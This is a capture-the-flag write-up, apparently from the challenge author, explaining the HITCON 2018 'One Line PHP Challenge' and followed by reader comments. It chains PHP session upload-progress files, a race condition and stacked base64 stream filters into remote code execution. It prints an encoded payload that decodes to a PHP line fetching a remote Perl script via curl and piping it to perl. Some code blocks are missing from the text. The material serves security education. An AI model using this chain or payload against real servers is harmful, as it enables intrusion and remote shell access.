In every year’s HITCON CTF, I will prepare at least one PHP exploit challenge which the source code is very straightforward, short and easy to review but hard to exploit! I have put all my challenges in this GitHub repo you can check, and here are some lists :P
- 2017 Baby^H Master PHP 2017 (0/1541 solved)
Phar
protocol todeserialize
malicious object- Hardcode anonymous function name
\x00lambda_%d
- Break shared VARIABLE state in Apache Pre-fork mode
- 2017 BabyFirst Revenge v2 (8/1541 solved)
- Command Injection in 4 bytes
- 2016 BabyTrick (24/1024 solved)
- Create an Unexpected Object and Don’t Invoke __wakeup() in Deserialization
- MySQL UTF-8 collation -
SELECT 'Ä'='a'
is True
- 2015 Babyfirst (33/969 solved)
- Multi-line match in PHP regular expression
- Command injection without symbols
- 2015 Use-After-FLEE (1/969 solved)
- Bypass disable_functions and open_basedir
- Write PHP use-after-free exploit
- Bypass full protection (DEP / ASLR / PIE / FULL RELRO)
- Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList
This year, I designed another one and it's the shortest one among all my challenges - One Line PHP Challenge!(There is also another PHP code review challenges called Baby Cake may be you will be interested!) It's only 3 teams(among all 1816 teams)solve that during the competition. This challenge demonstrates how PHP can be squeezed. The initial idea is from @chtg57’s PHP bug report. Since
session.upload_progress
is default enabled in PHP so that you can control partial content in PHP SESSION files! Start from this feature, I designed this challenge!The challenge is simple, just one line and tell you it is running under default installation of Ubuntu 18.04 + PHP7.2 + Apache. Here is whole the source code:
With the upload progress feature, although you can control the partial content in SESSION file, there are still several parts you need to defeat!
Inclusion Tragedy
In modern PHP configuration, theallow_url_include
is always Off
so the RFI(Remote file inclusion)
is impossible, and due to the harden of new version’s Apache and PHP, it can not also include the common path in LFI exploiting such as /proc/self/environs
or /var/log/apache2/access.log
.There is also no place can leak the PHP upload temporary filename so the LFI WITH PHPINFO() ASSISTANCE is also impossible :(
Session Tragedy
The PHP check the valuesession.auto_start
or function session_start()
to know whether it need to process session on current request or not. Unfortunately, the default value of session.auto_start
is Off
. However, it’s interesting that if you provide the PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data. The PHP will enable the session for you :P$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange
Cleanup Tragedy
Although most tutorials on the Internet recommends you to setsession.upload_progress.cleanup
to Off
for debugging purpose. The default session.upload_progress.cleanup
in PHP is still On
. It means your upload progress in the session will be cleaned as soon as possible!Here we use race condition to catch our data!
(Another idea is uploading a large file to keep the progress)
Prefix Tragedy
OK, now we can control some data in remote server, but the last tragedy is the prefix. Due to the default setting ofsession.upload_progress.prefix
, our SESSION file will start with a annoying prefix upload_progress_
! Such as:In order to match the
@<?php
. Here we combine multiple PHP stream filter to bypass that annoying prefix. Such as:php://filter/[FILTER_A]/.../resource=/var/lib/php/session/sess...
In PHP, the
base64
will ignore invalid characters. So we combine multiple convert.base64-decode
filter to that, for the payload VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy
. The SESSION file looks like:P.s. We add
ZZ
as padding to fit the previous garbageAfter the the first
convert.base64-decode
the payload will look like:��hi�k� �YUUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2
The second times, PHP will decode the
hikYUU...
as:�) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v
The third
convert.base64-decode
, it becomes to our shell payload:@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////
OK, by chaining above techniques(session upload progress + race condition + PHP wrappers), we can get the shell back!
Here is the final exploit!
tql
回覆刪除tql
回覆刪除Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in /home/...
回覆刪除This ain't working for me.
$ php --version
PHP 7.2.10-0ubuntu0.18.04.1 (cli) (built: Sep 13 2018 13:45:02) ( NTS )
Your base64-encoded payload should avoid "==".Because "==" in the base64-encode means end,that should not be any chars after "==" or get this error.
刪除XXXbase64-encodedXXXXX ok
XXXbase64-encoded==XXX error
can u post write up for version 2 in realworld ctf ?
回覆刪除https://hackmd.io/s/rJlfZva0m here is the anticipated solution
刪除